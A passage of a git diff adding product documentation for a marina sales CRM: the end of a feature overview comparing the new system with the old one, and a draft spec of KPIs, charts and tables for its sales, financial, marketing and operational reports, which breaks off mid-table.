separate concept; everything was attributed to a single named individual._ + +--- + +## 5. Clients + +The detail page each contact deserves. + +- **Single detail page** with tabs for overview, deals, yachts, companies, files, contact log, and notes. +- **Inline editing everywhere.** Name, addresses, phone numbers, emails, sales rep, communication preferences — all editable in place via small inline fields. +- **Multi-channel contacts.** Multiple emails and phone numbers per client, with primary flagging and canonical normalisation (phone numbers are normalised to a single international format for reliable search and matching). +- **Audit-driven field history.** Click any field's history icon to see who changed it, when, and what the previous value was. +- **Tags, notes, and contact log** — all the same shared components as elsewhere, so the experience is consistent. +- **Pipeline summary.** All a client's deals — open and closed — roll up onto their detail page. +- **Smart archive / smart restore.** Archive a client and the system handles cascading state (related deals, files) intelligently; restore previews exactly what will come back. +- **Hard-delete with bulk variant** behind a permission gate, for genuine "remove from the system" requests. +- **GDPR Article 15 export button.** One click queues a ZIP bundle (JSON + readable HTML) and emails the client a signed download link; the bundle auto-deletes after 30 days. +- **Dedup engine.** The system surfaces probable duplicates and offers a merge flow that consolidates linked records, notes, files, and audit trail correctly. +- **Send-documents dialog** for branded multi-attachment sends from any client. + +_Previously, contact records were flat rows in the back-end tool — no detail page, no inline editing, no audit history, no GDPR export, no dedup, no per-client deal roll-up._ + +--- + +## 6. Documents hub + +A nestable folder tree per port with intelligent auto-filing. + +- **Tree of folders** with nestable subfolders, drag-and-drop move, rename, soft-rescue delete (children re-parent rather than disappear). +- **System folders for each entity type** — `Clients/`, `Companies/`, `Yachts/` — auto-populated with per-entity subfolders the first time a record needs one. +- **Auto-filing on signing.** When a Documenso envelope completes, the signed PDF lands in the right entity folder automatically based on who owns the deal — no manual filing needed. +- **Aggregated view across relationships.** Open a client and you also see files attached to their companies and yachts, grouped under clear headings (Directly Attached / From Company / From Yacht / From Client). Each group is capped to keep the view skimmable; deeper drill-down is one click away. +- **Rich file preview.** PDFs render inline; images preview at sensible sizes; everything else gets an icon, type label, and download. +- **Upload for signing dialog.** Send any file straight into a Documenso signing flow without leaving the documents hub. +- **In-flight workflow tracker** — see which envelopes are mid-signing across the same aggregated reach. +- **Permissions** scoped by role: separate `view` and `manage_folders` verbs; system folders are immutable via API to keep the structure clean. +- **Recent files** surface in the topbar and global search. + +_Previously, file management lived in the separate internal portal as a flat S3 file browser with no folder tree, no auto-filing, no aggregated-by-entity view, and no signing-integration on individual files._ + +--- + +## 7. EOI generation & Documenso signing + +Template-driven EOIs with multi-berth support and resilient signing. + +- **Two pathways from one underlying model.** EOIs can be generated through Documenso templates (the primary path) or filled into the in-app EOI PDF directly. Both share the same data context, so any change to a deal is reflected identically. +- **Multi-berth EOI ranges.** When an EOI bundles multiple berths, the document automatically renders a compact range ("A1–A3, B5–B7") in the Berth Number field, and the CRM UI shows the full set as chips. The catalogued merge tokens are enforced at template-creation time so a mistyped placeholder cannot silently slip into a generated document. +- **Configurable signing order.** Parallel or sequential signing per port, with a tri-state default ("use template default / always parallel / always sequential"). +- **Automation modes** per deal: manual (staff sends each step), sequential auto (system advances on each signature), or concurrent auto (everyone signs at once). Mode changes are audit-logged. +- **Idempotent webhook handling.** Documenso retries don't double-write; status changes are normalised across both supported API versions; the system polls every 5 minutes as a safety net if a webhook is missed. +- **Rejection reasons captured** when a signer declines. +- **Reminders and voids.** The CRM surfaces send-reminder and void-envelope actions directly from the deal detail. +- **Embedded signing card** for clients to sign in-app where appropriate. +- **External EOI upload.** Record an EOI that was signed outside the system (PDF upload + counterparty list) without breaking the rest of the deal flow. +- **Webhook health card** in admin shows recent deliveries, failures, and a "test now" affordance. +- **Per-port Documenso configuration.** Each port can target its own Documenso instance, API key, signing order, and redirect URL. + +_Previously, signing was a Documenso embed hosted from the internal portal with token-based redirects, no multi-berth range support, no idempotent webhook handling, no automation modes, and no health diagnostics in the UI._ + +--- + +## 8. Email send-outs + +Branded, audited, configurable outbound mail. + +- **Per-port branded templates.** Every transactional email (invites, signing notifications, residential and berth enquiries, contract-related comms, digests, etc.) shares a single branded shell — port logo, blurred overhead background, consistent typography — that picks up the port's branding automatically. +- **Configurable send-from accounts.** Each port can configure its human send-from (e.g. `sales@portnimara.com`) and its automation send-from (e.g. `noreply@portnimara.com`). SMTP/IMAP credentials are encrypted at rest; API endpoints return only "is set" markers, never the password. +- **Compose dialog** with rich body (markdown rendered safely with a strict allow-list), multi-attachment, and live preview. +- **Smart attachment handling.** Files over a configurable per-port size threshold ship as 24-hour signed-URL links instead of attaching directly, keeping email deliverable. +- **Send rate limit** (50 sends/user/hour) to protect deliverability reputation. +- **Email audit log.** Every send is recorded with recipient list, body, attachments, and links; admin can browse the full send log. +- **Inbound bounce monitoring.** A scheduled job (every 15 minutes) reads non-delivery reports and matches them back to the original send so staff know a message bounced. +- **Email threads** stitched together — replies to a CRM-originated email are threaded under the original. +- **Tracked-link composer.** Generate per-recipient tracked links so opens and click-throughs can be attributed back. +- **Per-port template overrides.** Admin can override any transactional template per port without touching code. +- **Notification digests.** Hourly digest assembled from each user's unread notifications above a threshold. + +_Previously, transactional email was sent via Gmail SMTP from string-template builders, with no per-port branding override, no send audit log, no bounce monitoring, no attachment-threshold logic, no rate limiting, and no per-template overrides without a redeploy._ + +--- + +## 9. Reports + +Live Sales and Operational dashboards, plus a custom builder, scheduling, and exports. + +- **Sales report** with KPI strip (deals open, EOIs sent this month, deposits received, win rate, average days-in-stage, conversion by source, etc.), pipeline funnel, stage-velocity chart, source-conversion chart, rep leaderboard, deal-heat panel, win-rate-over-time line, and supporting detail tables. Every filter (stage, lead category, outcome) applies live. +- **Operational report** with an operational heatmap and signing-box plot — used to spot bottlenecks in the signing/operations pipeline. +- **Custom report builder (MVP).** Pick an entity, choose columns, pick a date range, and run. Four entities are live at launch; additional entities and column-level controls roll out incrementally. +- **Save / load / save-as templates.** Any report configuration can be saved as a named template with an optional shareable link, then re-run on demand. +- **Scheduled runs.** Weekly, monthly, or quarterly cadences; system runs the report on schedule and (optionally) emails the recipients a branded PDF. Run history is browsable in admin. +- **PDF exports** are server-side rendered with a branded cover page. CSV and Excel exports also available client-side from every list. +- **Status badges** for each scheduled run so admin can see at a glance which schedules are healthy. +- **Charts** use a mix of standard chart libraries — simple bars/lines/pies on top of a strong charting library, with heatmaps and funnels handled by a separate engine tuned for that purpose. + +_Previously, there were no in-system reports. Staff exported NocoDB views to spreadsheets and built reporting by hand each time._ + +--- + +## 10. Admin + +A purpose-built admin surface organised into seven domain groups. + +- **Admin sections browser** that groups every admin page under: Brand & Communication, Sales Workflow, Catalog, Identity & Access, Inbox & Data Quality, Integrations, and System & Observability. +- **42 dedicated admin pages** covering: AI usage caps, audit log, backups, berths, branding, brochures, custom fields, Documenso health, duplicates, email accounts, email templates, error log, forms, inquiries, invitations, monitoring, OCR, onboarding, pipeline rules, ports, "pulse" health indicators, qualification criteria, reminders, reports admin, residential stages, roles, sends log, settings, storage, tags, templates, users, vocabularies, webhooks, and website analytics. +- **Permissions UI.** Browse roles, edit role definitions, browse users, and assign per-user overrides through a visual permission matrix. +- **Settings registry.** A single source of truth for every configurable setting, with sections for email, Documenso, storage, pipeline auto-advance, AI providers, application URLs, operations toggles, residential partner integration, and more. Settings are per-port and validated. +- **System monitoring dashboard.** Service health, queue depth, queue detail, reconcile state — all in one place. +- **Port configuration** for adding new ports with their own branding, currency, timezone, and email background. +- **Webhooks admin** for dispatching CRM events outward to external systems. +- **Tags, vocabularies, and custom fields** that tenants can shape themselves without engineering involvement. +- **Forms admin** for creating supplemental info-request forms (used in qualification, residential, etc.). +- **Onboarding checklist and banner** to guide new ports through setup. + +_Previously, "admin" meant opening the back-end data tool directly to edit rows, with no permissions model, no role assignments, no settings UI, no monitoring, and no onboarding flow._ + +--- + +## 11. Search + +A fast, fuzzy, permission-aware global search. + +- **Topbar search across every entity** — clients, residential clients, yachts, companies, deals, berths, invoices, expenses, documents, files, reminders, brochures, tags, plus navigation/settings deep-links. +- **Multiple match strategies.** Full-text search for documents, partial-word matching for names and titles, fuzzy trigram matching so "Jhon" still finds "John", canonical phone-number matching that ignores formatting differences, and direct ID lookup for paste-a-record-id workflows. +- **Affinity ranking.** Results you've recently touched are promoted, so "your John" appears above "some other John". +- **Cross-port super-admin pass.** Super-admin users see other-port matches in a separate, clearly-labelled section. +- **Permission-aware.** Viewers don't see search results they couldn't open. +- **Mobile search overlay** designed for thumb reach. +- **Highlighted match terms** so the relevant substring jumps out in each result. +- **Admin search across the 7 IA domains** — every admin page is reachable from the topbar with a keyword. + +_Previously, "search" meant filtering a single NocoDB table at a time. There was no global search, no cross-entity matching, no fuzzy matching, no affinity ranking, and no admin deep-link search._ + +--- + +## 12. Activity feed & notifications + +A unified activity feed and a notification engine for both in-app and email. + +- **Dashboard activity widget** shows recent meaningful events across the port. +- **Per-entity activity feed** on every client, deal, berth, yacht, and company detail page. +- **Standardised verb vocabulary** — created, updated, archived, restored, merged, transferred, sent, signed, completed, rejected, voided, and so on. Historical legacy-stage events are re-mapped to the current vocabulary so the timeline reads consistently. +- **My reminders rail** on the dashboard surfaces due and overdue follow-ups. +- **Reminders engine** with admin configuration (cadence, severity, recipients). +- **Alert engine.** Rule-based alerts evaluated every 5 minutes — admins define the rules; the engine generates notifications when they fire. +- **In-app inbox** in the topbar. +- **Hourly notification digest email** when unread items pass a threshold. + +_Previously, there was no in-system activity feed, no reminders engine, and no rule-based alerting._ + +--- + +## 13. Analytics + +Website analytics, email-open tracking, and outcome events feeding into a privacy-respecting analytics platform. + +- **Website-analytics dashboard** in the CRM with: realtime visitors panel, world map of visitors, sessions list, session detail sheet, weekly heatmap, pageviews chart, top referrers / pages / devices, and per-metric detail shells. +- **Per-port project linking** to a Umami analytics project — outcome events from the CRM (EOI sent, deposit received, etc.) cross-post to the same project so marketing and sales metrics share a timeline. +- **Email-open pixel.** Branded sends include a small open-tracking pixel; opens are recorded against the original send and surface in the send audit log. +- **Admin → website-analytics** for configuring the link to the Umami project. + +_Previously, website analytics lived only in the standalone analytics tool; there was no integration of marketing analytics into the sales surface._ + +--- + +## 14. Mobile & responsive design + +Designed mobile-first; every list, sheet, and dialog is touch-friendly. + +- **Dedicated mobile shell** when the viewport is small: a mobile topbar, bottom tab bar, and a "more" sheet for overflow navigation. +- **Card mode toggle on every list.** Switch lists between table and card view; card view is the default on mobile. +- **Mobile search overlay** designed for thumb reach. +- **Responsive tab strips** that collapse intelligently. +- **Touch-tuned form controls.** Phone input, country picker, and timezone picker are all built for mobile keyboards. + +_Previously, the back-end data tool the team used was not designed for phone use; staff worked from a laptop by necessity._ + +--- + +## 15. Security & compliance + +A defensive posture across the stack. + +- **Authentication via `better-auth`** with session cookies; branded login, reset-password, and set-password surfaces. +- **CRM invitations** with a token-based admin-driven invite flow. +- **Granular RBAC.** Per-resource, per-action permissions — applied at the service layer, not just the UI. +- **Audit log everywhere.** All meaningful actions recorded with severity tier; 90-day retention configurable. +- **GDPR Article 15 exports** (one-click bundle, signed download, 30-day cleanup) and Article 17 hard-delete with restore preview. +- **PII masking at audit-write time.** Old metadata still expires per retention; new metadata is masked before insertion. +- **Magic-byte PDF validation** on every upload path (both in-server and presigned-PUT). +- **Timing-safe webhook verification** for Documenso (no leaky string comparisons). +- **Defense-in-depth port scoping** on every aggregated query — even joins double-check `port_id` so a cross-tenant leak would have to bypass multiple checks. +- **30-second timeouts on object-storage calls** so a slow MinIO/S3 host can't stall the application. +- **Per-port encryption-at-rest** for SMTP/IMAP credentials. +- **Pre-commit hooks block accidental commits of secrets** (`.env` files including `.env.example`). + +_Previously, the public website ran public forms straight into the data store with reCAPTCHA only; there was no audit log on website-originated changes, no permission model on the public surface, no GDPR-Article-15 export tooling, and no PDF content validation._ + +--- + +## 16. Multi-tenancy at port level + +The platform is designed from the ground up for multiple ports. + +- **Per-port URL slug.** Each port has its own URL prefix, brand, and configuration. +- **Per-port branding** — logo, primary colour, default currency, timezone, branded email background. +- **Per-port email templates** — every transactional template can be overridden per port from admin, without engineering involvement. +- **Per-port Documenso configuration** — API version (v1 or v2), API key, signing order, redirect URL. +- **Per-port storage backend** — choose S3-compatible or filesystem per port; switch with a single migration script. +- **Per-port currency and timezone** flow through the scheduler, the dashboard's timezone-drift banner, the recommender's deposit defaults, and every report. +- **Per-port sales settings** — qualification criteria, pipeline rules, recommender weights, send-from accounts, and AI budgets are all scoped to the port. +- **Cross-port super-admin search** — super-admins see other-port matches in a clearly-labelled secondary section; otherwise all queries scope to the current port. + +_Previously, the system was effectively single-tenant — a separate deployment would have been needed to onboard a second port._ + +--- + +## What's net-new (not present in the previous system at all) + +- A full sales CRM with kanban, list, detail, inline editing, stages, outcomes, tags, notes, scoring, and qualification — for staff. +- Yachts, companies, and memberships as first-class entities (the previous system had no concept of these). +- A nestable documents hub with auto-filing and cross-relationship aggregation. +- Reports — Sales and Operational dashboards plus a custom builder, with templates and scheduled runs. +- Global cross-entity search with fuzzy matching and affinity ranking. +- An activity feed, reminders, alert engine, and notification digest. +- Per-port multi-tenancy (branding, configuration, currency, timezone, Documenso, storage). +- Granular role-based permissions with per-user overrides. +- A comprehensive audit log surfaced in the activity feed, field-history popovers, and admin audit log. +- GDPR Article 15 export tooling and Article 17 hard-delete with restore preview. +- Background job queue + scheduled cron jobs for reliability. +- Real-time UI updates across every open session. +- Mobile-first design with a dedicated mobile shell. +- Website-analytics dashboard inside the CRM (with email-open tracking and event cross-posting). + +## What stays similar but is improved + +- **Berth catalog and public berth feed.** The data the marketing site sees is the same shape it always was, served from a faster, properly-cached endpoint backed by the new database. The internal side adds versioned per-berth PDFs, brochures, a recommender, and demand heat scoring. +- **EOI generation and Documenso signing.** EOIs still flow through Documenso, but with multi-berth ranges, configurable signing order, automation modes, idempotent webhook handling, a 5-minute polling safety net, in-product reminders and voids, external-EOI upload, and a webhook health diagnostic. +- **Transactional email.** Still SMTP-backed, but now with per-port branded templates, configurable send-from accounts, audited sends, bounce monitoring, attachment-threshold smart handling, and rate limits. +- **Public enquiry intake.** The website still accepts enquiries, but they now land in a managed inbox in the CRM with deduping, owner assignment, and full audit, instead of becoming raw rows in the data store. diff --git a/docs/reports-content-spec.md b/docs/reports-content-spec.md new file mode 100644 index 00000000..8a9087b1 --- /dev/null +++ b/docs/reports-content-spec.md @@ -0,0 +1,524 @@ +# Reports — content spec (draft for review) + +> Source of truth for what each report category will contain. Driven by +> the actual data we have in the schema; nothing here is aspirational +> data we'd need to start collecting. Once locked, this drives the +> builder implementations. + +--- + +## Raw materials — data we already capture + +The proposals below are bounded by what we already store. A quick map of +the load-bearing fields per entity: + +### `interests` (the sales pipeline source of truth) + +- `pipelineStage` — one of 7 canonical stages +- Per-stage timestamps: `dateFirstContact`, `dateLastContact`, + `dateEoiSent`, `dateEoiSigned`, `dateReservationSigned`, + `dateContractSent`, `dateContractSigned`, `dateDepositReceived` +- `outcome` (won/lost variants), `outcomeReason`, `outcomeAt` +- `source` (website/manual/referral/broker), `leadCategory` + (general/qualified/hot) +- `assignedTo` (rep), `clientId`, `yachtId` +- `depositExpectedAmount` + currency +- Per-doc status fields: `eoiDocStatus`, `reservationDocStatus`, + `contractDocStatus` (pending/sent/signed/declined/voided) +- `archivedAt` + +### `interest_berths` (multi-berth pipeline) + +- `is_primary`, `is_specific_interest`, `is_in_eoi_bundle` +- One interest can target N berths; status of those berths drives + "Under Offer" public flag + +### `berths` + +- `status` (available/under_offer/sold) +- `area`, `mooringNumber` +- `price`, `priceCurrency` +- `lengthFt/widthFt/draftFt` + metric counterparts +- `tenureType`, `tenureYears`, `tenureStartDate`, `tenureEndDate` +- `statusLastModified`, `statusLastChangedReason` + +### `tenancies` + +- `status` (pending/active/ended/cancelled) +- `startDate`, `endDate`, `tenureType` +- Links to `berthId`, `clientId`, `yachtId`, `interestId` +- `previousTenancyId` (chain), `transferredFromTenancyId` + +### `clients` + +- `nationalityIso`, `preferredContactMethod`, `source` +- `createdAt`, `archivedAt` +- `clientContacts` (email/phone/whatsapp values) +- `clientNotes`, `clientTags` (categorisation) + +### `invoices` + `payments` + `expenses` + +- Invoices: status (draft/sent/paid/overdue/cancelled), `total`, + `subtotal`, `currency`, `dueDate`, `paymentDate`, `paymentTerms`, + `kind` (general/deposit), linked `interestId` +- Payments: amounts, dates, method, linked invoice +- Expenses: `amount`, `amountUsd`, `category`, `paymentStatus`, + `expenseDate`, `establishmentName`, `payer` + +### `documents` + `document_signers` + `document_events` + +- Send timestamps, sign timestamps, status per signer +- Document type, template id +- Full event audit (sent/viewed/signed/declined per recipient) +- `signedFileId`, `currentPdfVersionId` + +### `websiteSubmissions` (inquiry intake) + +- Source page, UTM-style attribution columns, raw payload, conversion + state (linked to which interest / client / berth) +- `convertedAt`, `convertedToInterestId` + +### `audit_logs` + +- Every entity mutation with `action`, `actor`, `oldValue`, `newValue`, + `createdAt` — full timeline of who-changed-what + +### Already-aggregated data (existing dashboard endpoints we can reuse) + +- `/api/v1/dashboard/forecast` — revenue forecast by stage × probability +- `/api/v1/dashboard/pipeline` — count + value per stage +- `/api/v1/dashboard/hot-deals` — high-pulse deals +- `/api/v1/dashboard/tenancy-occupancy` — occupancy timeline by area +- `/api/v1/dashboard/tenancy-revenue` — recognised revenue by month +- `/api/v1/dashboard/tenancy-renewals` — upcoming renewals +- `/api/v1/dashboard/tenancy-tenure` — tenure distribution +- `/api/v1/dashboard/source-conversion` — funnel by source +- `/api/v1/dashboard/clients-by-country` — geographic distribution +- `/api/v1/dashboard/berth-status` — status mix +- `/api/v1/dashboard/berth-heat` — recommender heat scores +- `/api/v1/dashboard/activity` — activity feed +- `/api/v1/dashboard/kpis` — top-line numbers + +--- + +## Cross-cutting capabilities (apply to every report) + +- **Date range filter** — preset (last 7d / 30d / quarter / year / YTD) + plus custom range picker. +- **Period comparison** — toggle to show "this period vs prior period" + (same length window immediately before). Drives delta arrows on KPI + cards. +- **Rep / assignee filter** — multi-select. Defaults to "all". For + ports with one rep this is hidden. +- **Source filter** — multi-select on `source` (website / referral / + broker / manual). Defaults to "all". +- **Currency normalization** — money values render in port-default + currency; underlying records may be USD/EUR/etc., conversion already + exists on expenses and can be extended to invoices. +- **Empty state** — every report renders gracefully on a port with no + data yet (e.g. fresh deploys) with a "this report needs data first" + hint pointing at the right onboarding step. + +--- + +## Report 01 — Sales performance ✅ LOCKED 2026-05-27 + +**Purpose:** answer "how is the sales team doing, who is doing the +work, where are deals stuck." + +### KPI strip (7 tiles) + +| # | Tile | Formula | Notes | +| --- | --------------------- | -------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| 1 | **Active interests** | `count(interests) WHERE archivedAt IS NULL AND outcome IS NULL` | All stages incl. nurturing | +| 2 | **Won this period** | `count(interests) WHERE outcome='won' AND outcomeAt IN range` | | +| 3 | **Lost this period** | `count(interests) WHERE outcome LIKE 'lost_%' OR outcome='cancelled' AND outcomeAt IN range` | **Breakdown chip:** `Lost: 8 (3 to competitor · 2 unqualified · 2 no-response · 1 cancelled)` | +| 4 | **Win rate** | `won / (won + lost_*) × 100%` — excludes `cancelled` | Render `—` when denom = 0. Period-over-period delta arrow when comparison toggle is on (`↑ +12pp`) | +| 5 | **Pipeline value** | `Σ ((berth.price OR depositExpectedAmount) × STAGE_WEIGHTS[stage])` for active interests | Berth price used when an `is_primary` interest_berth is set; else depositExpectedAmount; else 0. Currency normalised to port-default. Footnote: "X of Y interests have no value and aren't included." | +| 6 | **Avg time-to-close** | `median(outcomeAt - dateFirstContact)` for won deals in window | Adaptive unit: days (<60) / weeks (<24) / months. Skip interests with null `dateFirstContact`; footnote "based on N of M won deals." | +| 7 | **New leads** | `count(interests) WHERE createdAt IN range` — **includes archived** | **Breakdown chip:** `New leads: 24 (10 website · 8 referral · 4 broker · 2 manual)` | + +### Charts (5) + +1. **Pipeline funnel** (echarts horizontal funnel) + - **Frame:** counts per stage, all 7 stages including `nurturing` as its own step + - **Active interests only** (`archivedAt IS NULL AND outcome IS NULL`) + - **Drop-off label** on each connector: `Enquiry 24 → Qualified 12 (−50%)` + +2. **Stage velocity** (recharts horizontal bar) + - Median days in each stage + faint p90 mark per bar + - Source: `audit_logs WHERE action='interest.stage_changed'` for transition timestamps + - Exclude stages with no exits yet (interests still sitting there) + +3. **Win rate over time** (recharts line + faint area underlay) + - Line: win rate per bucket + - Underlay: total deals closed per bucket (gives volume context) + - **Bucket granularity (auto):** weekly ≤6mo · monthly ≤2yr · quarterly beyond + - Sparse buckets render as gaps, not zero + +4. **Source → win conversion** (recharts stacked horizontal bar) + - One bar per source (website / referral / broker / manual) + - Segments coloured by outcome (won / lost-\* / cancelled / in-flight) + - PDF-friendly (no sankey) + +5. **Rep leaderboard** (table with embedded mini-bars) + - Columns: rep · new · won · lost · in-flight · pipeline value · win rate · avg time-to-close + - Sortable by any numeric column + - **Single-rep collapse:** when only one rep has deals in the window, skip this chart and render the Rep performance detail (Table 1) directly + - **Attribution:** current `assignedTo` gets full credit; tooltip flags deals that were reassigned mid-cycle + +### Deal heat section (between leaderboard and tables) + +Folded-in pulse data from existing dashboard infrastructure. + +- **Hot deals count** — KPI-style tile, count of interests above `pulse_label_hot` threshold +- **Pulse distribution** — 3-segment horizontal bar (hot / warm / cold counts) +- **Hottest deals right now** — top 5 by pulse score: client · stage · value · pulse · rep + +### Tables (5) + +1. **Rep performance detail** — leaderboard columns + expandable open-deals list per rep + - Open deals list columns: client · primary berth · stage · stage value · days in stage · last contact + - **Web:** collapsed by default, expand chevron + - **PDF:** always rendered inline (no expander affordance possible in print) + +2. **Stalled deals** — active interests not contacted within stage-aware thresholds + - **Thresholds:** enquiry 21d · qualified 14d · nurturing 60d · eoi 10d · reservation 7d · deposit_paid 7d · contract 5d (admin-configurable later) + - Columns: client · stage · days since last contact · days in stage · value · rep · quick "log contact" button + - Sort: stage value desc (most valuable stalled deals first) + - **Null `dateLastContact`** → treat as never contacted → always stalled + +3. **Closing this month** — late-stage active deals (`reservation` / `deposit_paid` / `contract`) sorted by stage value desc + - The inverse of stalled; the "don't drop these" list + - Same columns as stalled minus the "days since contact" column + +4. **Recent wins** — last 5 won deals, celebratory strip + - Columns: client · primary berth · final value · days to close · rep + - Source: `interests WHERE outcome='won' ORDER BY outcomeAt DESC LIMIT 5` + +5. **Lost-reason breakdown** — detail of the KPI 3 chip + - Columns: outcome reason · count · total value lost · avg days from first contact to loss + - Source: group `interests WHERE outcome LIKE 'lost_%' OR outcome='cancelled'` AND outcomeAt IN range by `outcome` + +### Filters + +- **Cross-cutting** (every report): date range preset/custom, period comparison toggle, rep multi-select (hidden when 1 rep), source multi-select (hidden when 1 source) +- **Sales-specific:** + - **Stage filter** — restrict funnel + tables to subset of stages + - **Lead category filter** — general / qualified / hot + - **Outcome filter** — won / each lost-reason variant (mostly for the lost-reason breakdown post-mortem) + +### Currency handling + +- All monetary values render in port-default currency (per branding settings) +- Underlying records can be in any currency; convert at render time +- Render with thousand-separator + currency symbol (e.g. `€1,250,000`) + +--- + +## Report 02 — Financial + +**Purpose:** answer "what revenue did we collect, what's outstanding, +where is the cash flow going." + +### KPI strip + +| Metric | Source | Notes | +| ----------------------------- | ---------------------------------------------------------------------------------- | --------------------------------- | +| Revenue collected | Σ `invoices.total WHERE paymentStatus='paid' AND paymentDate IN range` | Sum across currencies, normalised | +| Pipeline (forecasted revenue) | Existing dashboard `forecast` endpoint | Σ deposit_expected × stage weight | +| Deposits collected | Σ `invoices.total WHERE kind='deposit' AND status='paid' AND paymentDate IN range` | | +| Outstanding AR | Σ `invoices.total WHERE status IN ('sent','overdue') AND archivedAt IS NULL` | | +| Overdue AR | Σ above filtered to `dueDate < today` | | +| Expenses (period) | Σ `expenses.amountUsd WHERE expenseDate IN range AND archivedAt IS NULL` | USD-normalised | +| Net contribution | revenue - expenses | Optional | + +### Charts + +1. **Revenue by month** (bar chart) — Stacked by `kind` (general vs + deposit). 12 months trailing window default. +2. **Revenue by quarter / year** (toggleable granularity) — Same data, + different bucket. +3. **Funnel: EOI → Deposit → Contract → Revenue** (funnel chart, + echarts) — Counts at each stage in the period to highlight leakage. +4. **AR aging** (stacked horizontal bar) — Buckets: current, 1-30, + 31-60, 61-90, 90+. Per bucket: count + total value. +5. **Cash flow** (line chart, two series) — Inflow (payments received) + and outflow (expenses paid) over time. +6. **Expense breakdown** (donut) — By `category` for the period. + +### Tables + +1. **Outstanding invoices** — Invoice #, client, due date, days + overdue, amount, payment terms. Sort by overdue desc. +2. **Recent payments** — Date, invoice, client, amount, method. +3. **Refund / write-off log** — Cancelled invoices with reasons. +4. **Expense ledger** — Date, payer, category, amount, payment status, + linked trip. + +### Filters + +- Invoice kind (deposit / general) +- Payment status +- Currency +- Billing entity type (client / company) + +--- + +## Report 03 — Marketing & funnel + +**Purpose:** answer "where are leads coming from, which sources are +worth the marketing spend, where do we lose people in the funnel." + +### KPI strip + +| Metric | Source | Notes | +| -------------------------------- | ------------------------------------------------------------------- | ---------------------- | +| Inquiries this period | `count(websiteSubmissions WHERE createdAt IN range)` | | +| Inquiries → interest conversion | `count(websiteSubmissions WHERE convertedAt IN range) / count(...)` | % | +| Inquiries → EOI conversion | Same with `interest.dateEoiSent NOT NULL` | | +| Inquiries → won conversion | Same with `interest.outcome='won'` | | +| Top source | `source` with highest converted count | Card with name + count | +| Avg time inquiry → first contact | Median(`interest.dateFirstContact - websiteSubmission.createdAt`) | Hrs / days | + +### Charts + +1. **Inquiries by source** (donut + bar) — Count per source for the + period. +2. **Source ROI** (stacked horizontal bar) — Per source: total count, + won count, won value. Sort by value desc. +3. **Funnel: Inquiry → Qualified → EOI → Reservation → Won** (vertical + funnel) — Conversion at each stage. +4. **Conversion trend** (line chart) — Inquiry → won conversion % + plotted weekly. +5. **Country of origin** (geo map via `react-simple-maps`, already + approved) — Inquiries by `nationalityIso` of resulting client. +6. **Time-to-respond histogram** — Buckets of "minutes from inquiry to + first contact." Highlights slow response times. + +### Tables + +1. **Top-converting sources** — Source, count, win rate, total revenue, + avg time-to-close. +2. **Recent inquiries** — Date, source, name, mooring, status (open / + converted / discarded), rep. +3. **Stuck inquiries** — Submitted >X days ago, not yet contacted. + +### Filters + +- Specific source (drill-down) +- Mooring (which berth pages drive conversion) +- UTM campaign (if/when we add UTM tracking — currently only `source`) + +--- + +## Report 04 — Operational ✅ LOCKED 2026-05-27 + +**Purpose:** answer "how full are we, how long do tenancies last, +where are operational bottlenecks (signing, occupancy turnover)." + +**Conditional behaviour:** half this report (tenancy charts + KPIs) +depends on `tenancies_module_enabled = true`. When the module is off, +those tiles render `—` with a "Tenancies module disabled" hint and +the tenancy charts/tables are omitted entirely (replaced with a +single "Enable tenancies in System Settings to populate this section" +banner). + +### KPI strip (7 tiles; some auto-hide) + +| # | Tile | Formula | Notes | +| --- | --------------------------------- | ------------------------------------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| 1 | **Total berths** | `count(berths) WHERE archivedAt IS NULL` | Physical inventory | +| 2 | **Sold %** | `count(status='sold') / total × 100%` | Period-over-period delta computed from `audit_logs` (entity_type='berth', action='status_changed'). All historical changes incl. accidental/manual ones are reflected — the audit log is the truth source | +| 3 | **Under offer %** | Live compute from `interest_berths`: any berth with an active `is_specific_interest=true` link whose interest has open outcome | Quality-first source; catches drift where `berths.status` column lags the link table | +| 4 | **Active tenancies** | `count(berth_tenancies) WHERE status='active'` | Module-OFF → `—` | +| 5 | **Avg tenancy length** | `median(endDate - startDate)` for `status='ended'` tenancies, in years (1 decimal) | Module-OFF → `—`. Need ≥3 ended tenancies for meaningful median; otherwise `—` with hint | +| 6 | **Signing turnaround (per type)** | `median(document.completedAt - document.sentAt)` per document type | Three small stats in one tile: `EOI 4.2d · Reservation 6.8d · Contract 12.4d`. Excludes voided + declined | +| 7 | **Berths in conflict** | `count(berths WHERE >1 active interest has is_specific_interest=true)` | **Hidden when 0**; appears (and reads red) when ≥1 conflict — the "two clients want the same berth" alarm | + +### Charts (7) + +1. **Berth utilisation timeline** (echarts heatmap) + - Grid: `area × month`; cell colour = % occupied (sold + under-offer) in that area that month + - **Range:** user-pickable, default trailing 24 months + - Reuses `audit_logs` reconstruction (same engine as KPI 2) + +2. **Status mix over time** (recharts stacked area, with **toggle**) + - Two views: proportional (100%-stacked) AND absolute counts + - Toggle button on the chart switches between them + - 3 series: available / under_offer / sold + +3. **Tenancy churn waterfall** _(module ON)_ (echarts waterfall) + - Per bucket: `+ new active`, `− ended`, `= net Δ` + - **Bucket: auto-pick** — monthly if avg >2 events/month, else quarterly + +4. **Tenure distribution** _(module ON)_ (recharts histogram bar) + - Marina-tuned buckets: `<1y` / `1–5y` / `5–10y` / `10–20y` / `20y+` + - Ended tenancies only (active ones have no end date yet) + +5. **Signing turnaround box plot** (echarts) + - One box per document type (EOI / Reservation / Contract) + - Median + quartiles + whiskers + outlier dots + - Excludes voided + declined + +6. **Occupancy by area** (recharts stacked horizontal bar) + - One bar per area; segments coloured sold / under_offer / available + - Scales cleanly to 10+ areas (vs donut-per-area which doesn't) + +7. **Documents in pipeline** (recharts stacked bar) + - Per document type, count by current status (`pending` / `sent` / `signed` / `declined` / `voided`) + - Spots stuck batches at a glance + +### Tables (4) + +1. **Tenancies ending soon** _(module ON)_ + - Window: **next 6 months** (default) + - Columns: client · berth · tenure type · end date · days until end · quick action (renew / end) + - Sort: `endDate` asc + +2. **Berths with no current owner** + - Threshold: available for **>60 days** + - Columns: mooring · area · dimensions · price · days available · last viewed date (from public berth-page analytics if available) + +3. **Stuck signing** + - **Document-type-aware thresholds:** EOI >10d / Reservation >7d / Contract >5d + - Columns: document type · client · sent date · days outstanding · next signer · resend button + +4. **Highest-value vacant berths** + - Available berths sorted by `price` desc + - Columns: mooring · area · dimensions · price · days available + - 